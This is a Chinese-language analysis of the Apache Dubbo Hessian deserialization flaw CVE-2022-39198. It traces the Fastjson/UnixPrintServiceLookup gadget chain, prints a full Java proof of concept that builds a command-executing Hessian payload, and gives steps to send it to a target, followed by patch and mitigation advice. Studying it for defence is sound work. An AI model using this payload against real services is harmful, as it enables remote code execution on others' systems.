CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass
字数 1937 2025-08-26 22:12:02
Apache Dubbo Hessian 反序列化漏洞分析 (CVE-2022-39198)
漏洞概述
CVE-2022-39198 是 Apache Dubbo 中 Hessian 反序列化组件的一个安全漏洞,影响版本范围:
- 2.7.x < version < 2.7.18
- 3.0.x < version < 3.0.12
- 3.1.x < version <= 3.1.0
该漏洞源于 Dubbo 内置的 hessian-lite 组件在 3.2.12 及以前版本中存在反序列化安全问题,攻击者可通过精心构造的序列化数据实现远程代码执行(RCE)。
漏洞背景
Hessian 反序列化机制
Hessian 是一种二进制序列化协议,Dubbo 使用其作为默认的序列化方式。在反序列化过程中,Hessian 会按照特定规则将二进制数据还原为 Java 对象。
漏洞根源
漏洞的根本原因是 hessian-lite 组件维护的黑名单机制不完善,导致某些危险类可以被反序列化并触发恶意行为。修复补丁在 resources/DENY_CLASS 文件中新增了多个黑名单包名,包括:
- org.apache.commons.codec.
- org.aspectj.
- org.dom4j
- org.junit.
- org.mockito.
- org.thymeleaf.
- ognl.
- sun.print.
漏洞分析
利用链分析
该漏洞的利用链主要依赖于以下几个关键点:
-
触发点:通过
HashMap/HashSet/HashTable等类的equals/compareTo方法触发后续调用链。 -
关键方法调用:
XString#equals方法触发JSONObject#toStringJSON#toString方法触发 Fastjson 的反序列化过程- Fastjson 反序列化过程中调用任意 getter 方法
-
最终利用点:
sun.print.UnixPrintServiceLookup类的getDefaultPrintService方法,该方法最终会执行系统命令。
详细调用链
-
初始触发:
- Hessian 反序列化
HashMap对象 HashMap#putVal方法调用equals方法比较键值
- Hessian 反序列化
-
XString.equals 阶段:
toString:1071, JSON (com.alibaba.fastjson) equals:392, XString (com.sun.org.apache.xpath.internal.objects) equals:495, AbstractMap (java.util) putVal:635, HashMap (java.util) put:612, HashMap (java.util) -
Fastjson 反序列化阶段:
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer) write:271, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:312, JSONSerializer (com.alibaba.fastjson.serializer) toJSONString:1077, JSON (com.alibaba.fastjson) -
命令执行阶段:
- 调用
UnixPrintServiceLookup#getDefaultPrintService - 最终通过
Runtime.getRuntime().exec()执行系统命令
- 调用
关键类分析
UnixPrintServiceLookup 类:
- 位于
sun.print包下 - 包含
getDefaultPrintService方法,该方法会:- 检查
CUPSPrinter.isCupsRunning()(需要确保返回 false) - 检查操作系统不是 MAC OS 或 SUN OS
- 调用
getDefaultPrinterNameBSD方法 - 最终执行
lpcFirstCom属性中的命令
- 检查
漏洞利用
利用条件
- 目标系统不是 MAC OS 或 SUN OS
- CUPS 打印服务未运行
- 目标系统存在
/bin/sh或/usr/bin/sh
POC 分析
public class Test {
public static void setFieldValue(Object obj, String filedName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(filedName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) {
try {
// 要执行的命令
String cmd = "touch /tmp/test";
// 使用Unsafe创建UnixPrintServiceLookup实例
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
// 设置必要属性
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
// 构造触发链
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", jsonObject);
// 构造最终的HashMap
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
// 使用反射设置内部table
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
// 序列化为Hessian格式
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用步骤
- 构造恶意
UnixPrintServiceLookup对象,设置要执行的命令 - 将其放入
JSONObject中 - 构造特殊的
HashMap结构触发equals调用链 - 使用 Hessian 序列化该
HashMap - 将序列化后的数据发送给目标 Dubbo 服务
防御措施
-
升级修复:
- 升级到 Dubbo 2.7.18、3.0.12 或 3.1.1 及以上版本
- 升级 hessian-lite 到 3.2.13 及以上版本
-
临时缓解:
- 配置 Dubbo 使用其他序列化方式(如 Protobuf)
- 增强 Hessian 的黑名单机制
-
网络防护:
- 限制 Dubbo 服务的网络访问
- 使用防火墙规则限制可疑请求
总结
CVE-2022-39198 是一个典型的反序列化漏洞,利用 Dubbo 默认的 Hessian 序列化机制和 JDK 内部类的危险方法实现 RCE。漏洞利用涉及多个技术点:
- Hessian 反序列化机制
- Fastjson 的反序列化特性
- JDK 内部类的利用
- 复杂的对象构造和反射技术
理解该漏洞有助于深入掌握 Java 反序列化漏洞的原理和防御方法。